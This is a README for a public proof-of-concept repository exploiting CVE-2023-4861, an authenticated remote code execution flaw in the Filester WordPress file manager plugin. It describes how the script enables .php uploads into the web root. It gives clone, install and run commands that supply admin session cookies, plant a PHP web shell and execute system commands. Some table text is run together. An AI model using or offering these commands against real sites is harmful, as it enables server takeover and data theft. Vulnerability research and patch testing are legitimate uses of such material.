
Proof of Concept for CVE-2023-4861 in Filester
This repository contains a Python proof of concept for CVE-2023-4861, an authenticated remote code execution issue in the WordPress plugin File Manager Pro - Filester.
CVE-2023-4861File Manager Pro - Filester (filester)< 1.8.11.8.1Admin+ on Filesterexploit.py automates the same basic outcome described in the public advisory:
/var/www/html/ and allow .php upload.Important implementation detail: my PoC assumes the target web root is /var/www/html/. That is hardcoded in the request data and may need adjustment for other lab setups.
Clone the repository and enter it:
git clone https://github.com/nomaisthere/CVE-2023-4861-PoC.git
cd CVE-2023-4861-PoC
Install dependencies:
pip install requests
Show help:
python3 exploit.py --help
Basic example:
python3 exploit.py --url http://target-wordpress --command id \
--cookie 'wordpress_logged_in_xxx=...; wordpress_sec_xxx=...'
Optional custom shell name:
python3 exploit.py --url http://target-wordpress --shell-name shell.php --command whoami \
--cookie 'wordpress_logged_in_xxx=...; wordpress_sec_xxx=...'